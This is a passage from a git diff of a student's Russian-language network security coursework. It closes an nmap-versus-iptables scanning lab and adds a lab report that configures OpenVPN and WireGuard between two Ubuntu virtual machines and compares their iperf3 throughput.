Мы рассмотрели работу утилиты `nmap` в случае, когда на целевом хосте применяются правила `iptables` для ограничения доступа к хосту. Можно заметить, что `iptables` это очень легковесный инструмент, который позволяет неплохо защитить устройство от незаметного сканирования, в следствие чего его стоит использовать, если нет возможности защищать устройство с помощью межсетевых экранов и/или IPS.
|
||||
|
||||
**Выполнил:** Харитонов Марат Русланович, студенческий билет М235314.
|
||||
BIN
02-pentest/01-network/02-scanner/04-iptables/img/image01.png
Normal file
|
After Width: | Height: | Size: 24 KiB |
BIN
02-pentest/01-network/02-scanner/04-iptables/img/image02.png
Normal file
|
After Width: | Height: | Size: 124 KiB |
BIN
02-pentest/01-network/02-scanner/04-iptables/img/image03.png
Normal file
|
After Width: | Height: | Size: 60 KiB |
BIN
02-pentest/01-network/02-scanner/04-iptables/img/image04.png
Normal file
|
After Width: | Height: | Size: 121 KiB |
234
02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/README.md
Normal file
@@ -0,0 +1,234 @@
|
||||
# Сетевая безопасность. Лабораторная работа №1 (HW)
|
||||
## Ход работы
|
||||
|
||||
Для стенда мы будем использовать 2 виртуальные машины `Ubuntu Linux 22.04`:
|
||||
|
||||
| hostname | ip address |
|
||||
| ----- | ----- |
|
||||
| ubuntu | 192.168.103.100 |
|
||||
| ubuntu2 | 192.168.103.101 |
|
||||
|
||||
`ubuntu` будет использоваться в качестве сервера, а `ubuntu2` -- в качестве клиента.
|
||||
|
||||
С помощью инструмента `iperf3` и замерим скорость передачи данных в условиях открытой сети.
|
||||
|
||||

|
||||
|
||||
Как видим, при отсутствии VPN скорость между хостами около 18 Гбит/с.
|
||||
|
||||
### Настройка OpenVPN
|
||||
1. Для настройки OpenVPN установим необходимые пакеты на обе машины с помощью `sudo apt install openvpn`
|
||||
|
||||
`ubuntu`
|
||||
|
||||

|
||||
|
||||
`ubuntu2`
|
||||
|
||||

|
||||
|
||||
2. Настроим сервер OpenVPN на `ubuntu`
|
||||
1. Создадим каталог `/etc/openvpn/easy-rsa` и скопируем в него исполняемый файл `easy-rsa`
|
||||
|
||||
```bash
|
||||
root@ubuntu:/home/marker# mkdir /etc/openvpn/easy-rsa
|
||||
root@ubuntu:/home/marker# cp -R /usr/share/easy-rsa /etc/openvpn/
|
||||
root@ubuntu:/home/marker# cd /etc/openvpn/easy-rsa/
|
||||
```
|
||||
|
||||
2. Выполним инициализацию PKI
|
||||
|
||||
```bash
|
||||
./easyrsa init-pki
|
||||
```
|
||||

|
||||
|
||||
3. Выпустим корневой сертификат
|
||||
|
||||
```bash
|
||||
./easyrsa build-ca
|
||||
```
|
||||
|
||||

|
||||
|
||||
4. Сгенерируем последовательность Диффи-Хелмана (DH)
|
||||
|
||||
```bash
|
||||
./easyrsa gen-dh
|
||||
```
|
||||
|
||||

|
||||
|
||||
5. Создадим CRL
|
||||
|
||||
```bash
|
||||
./easyrsa gen-crl
|
||||
```
|
||||
|
||||

|
||||
|
||||
6. Сгенерируем ключ TLS-Auth
|
||||
|
||||
```bash
|
||||
openvpn --genkey tls-auth /etc/openvpn/ta.key
|
||||
```
|
||||
|
||||

|
||||
|
||||
7. Сгенерируем серверный сертификат
|
||||
|
||||
```bash
|
||||
./easyrsa build-server-full server nopass
|
||||
```
|
||||
|
||||

|
||||
|
||||
8. Скопируем криптографическую информацию в папку `/etc/openvpn/`
|
||||
|
||||
```bash
|
||||
cp ./pki/ca.crt /etc/openvpn/ca.crt
|
||||
cp ./pki/dh.pem /etc/openvpn/dh2048.pem
|
||||
cp ./pki/crl.pem /etc/openvpn/crl.pem
|
||||
cp ./pki/issued/server.crt /etc/openvpn/server.crt
|
||||
cp ./pki/private/server.key /etc/openvpn/server.key
|
||||
```
|
||||
|
||||
9. Создадим файл `/etc/openvpn/server.conf` и наполним его следующим:
|
||||
|
||||
```
|
||||
port 1194
|
||||
# TCP or UDP server?
|
||||
;proto tcp
|
||||
proto udp
|
||||
dev tun
|
||||
ca ca.crt
|
||||
cert server.crt
|
||||
key server.key # This file should be kept secret
|
||||
dh dh2048.pem
|
||||
server 10.8.0.0 255.255.255.0
|
||||
ifconfig-pool-persist /var/log/openvpn/ipp.txt
|
||||
keepalive 10 120
|
||||
tls-auth ta.key 0 # This file is secret
|
||||
cipher CHACHA20-POLY1305
|
||||
data-ciphers CHACHA20-POLY1305
|
||||
persist-key
|
||||
persist-tun
|
||||
status /var/log/openvpn/openvpn-status.log
|
||||
verb 3
|
||||
```
|
||||
|
||||
Таким образом мы указали, что мы будем работать по протоколу UDP на порту 1194, использовать ранее сгенерированные криптопоследовательности, а частной сетью будет `10.8.0.0/24` (у сервера будет адрес `10.8.0.1`)
|
||||
|
||||
10. Сгенерируем клиентский сертификат
|
||||
|
||||
```bash
|
||||
./easyrsa build-client-full client nopass
|
||||
```
|
||||
|
||||

|
||||
|
||||
11. Скопируем криптографическую информацию клиента в папку `/etc/openvpn/clients/client`
|
||||
```bash
|
||||
mkdir /etc/openvpn/clients
|
||||
mkdir /etc/openvpn/clients/client
|
||||
cp /etc/openvpn/easy-rsa/pki/ca.crt /etc/openvpn/clients/client/
|
||||
cp /etc/openvpn/ta.key /etc/openvpn/clients/client/
|
||||
cp /etc/openvpn/easy-rsa/pki/issued/client.crt /etc/openvpn/clients/client/
|
||||
cp /etc/openvpn/easy-rsa/pki/private/client.key /etc/openvpn/clients/client/
|
||||
```
|
||||
12. Создадим файл конфигурации клиента `/etc/openvpn/clients/client/client.conf`
|
||||
```
|
||||
client
|
||||
dev tun
|
||||
;proto tcp
|
||||
proto udp
|
||||
remote 192.168.103.100 1194
|
||||
nobind
|
||||
persist-key
|
||||
persist-tun
|
||||
ca ca.crt
|
||||
cert client.crt
|
||||
key client.key
|
||||
remote-cert-tls server
|
||||
tls-auth ta.key 1
|
||||
cipher CHACHA20-POLY1305
|
||||
data-ciphers CHACHA20-POLY1305
|
||||
verb 3
|
||||
```
|
||||
13. Папку с конфигурацией клиента и криптографической информацией передадим на машину `ubuntu2` с помощью `scp`
|
||||
|
||||
`scp /etc/openvpn/clients/client/* marker@192.168.103.101:/home/marker/client`
|
||||
|
||||

|
||||
|
||||
14. Запустим сервер и клиент.
|
||||
|
||||

|
||||
|
||||
15. Проверим наличие сетевых интерфейсов.
|
||||
|
||||

|
||||
|
||||
3. Проверим скорость соединения с помощью `iperf3`
|
||||
|
||||

|
||||
|
||||
Мы получили среднюю скорость около 850 Мбит/c. Теперь проверим, как этот результат изменится, в случае использования TCP.
|
||||
|
||||
4. Изменяем строку `proto udp` на `proto tcp` в конфигах сервера и клиента.
|
||||
5. Перезапускаем сервер и клиент и проверяем скорость.
|
||||
|
||||

|
||||
|
||||
Мы получили среднюю скорость в 1.1 Гбит/с. Что довольно странно, учитывая, что мы используем TCP. Я предполагаю, что дело в том, что в данном тесте мы используем одно L2 пространство, где нет маршрутизирующих устройств, а при режиме UDP OpenVPN по сути просто инкапсулирует SSL/TLS в UDP, отсюда появляется значимый оверхед, который нивелируется в реальном использовании.
|
||||
|
||||
|
||||
### Настройка Wireguard
|
||||
|
||||
1. С помощью `sudo apt install wireguard` установим необходимые пакеты на виртуальные машины
|
||||
|
||||
`ubuntu`:
|
||||
|
||||

|
||||
|
||||
`ubuntu2`:
|
||||
|
||||

|
||||
|
||||
2. С помощью утилиты `wg genkey` сгенерируем на машинах пары приватный-публичный ключ.
|
||||
|
||||

|
||||
|
||||
3. Составим конфиги для машин на основании полученных пар ключей.
|
||||
|
||||

|
||||
|
||||
4. Запустим демонов, которые поднимут указанные интерфейсы и проверим связность по VPN интерфейсам.
|
||||
|
||||

|
||||
|
||||
5. Мы обеспечили связность через VPN. Теперь замерим скорость между машинами с помощью `iperf3`
|
||||
|
||||

|
||||
|
||||
Средняя скорость 7.7 Гбит/с.
|
||||
|
||||
## Выводы
|
||||
|
||||
Итак, мы получили следующие результаты:
|
||||
|
||||
| VPN Protocol | Bitrate |
|
||||
| ----- | ----- |
|
||||
| OpenVPN (UDP) | 850 Mbps |
|
||||
| OpenVPN (TCP) | 1.1 Gbps |
|
||||
| Wireguard | 7.7 Gbps |
|
||||
|
||||
OpenVPN в режиме TCP показал более высокую скорость, но только в рамках стенда, как показывает практика режим UDP является более предпочтительным для обеспечения большей скорости передачи.
|
||||
|
||||
Wireguard обеспечивает значительно более высокую производительность благодаря своей более легковесной архитектуре, использованию более современных алгоритмов шифрования и механизмам оптимизации.
|
||||
|
||||
Wireguard работает поверх протокола UDP, чем и объясняется такая скорость, а легковесная архитектура позволяет максимизировать это преимущество.
|
||||
|
||||
|
||||
|
||||
**Выполнил:** Харитонов Марат Русланович, студенческий билет М235314.
|
||||
BIN
02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/01.png
Normal file
|
After Width: | Height: | Size: 189 KiB |
BIN
02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/02.png
Normal file
|
After Width: | Height: | Size: 178 KiB |
BIN
02-pentest/01-network/03-vpn-dmz-wifi/01-vpn/img/03.png
Normal file
|
After Width: | Height: | Size: 90 KiB |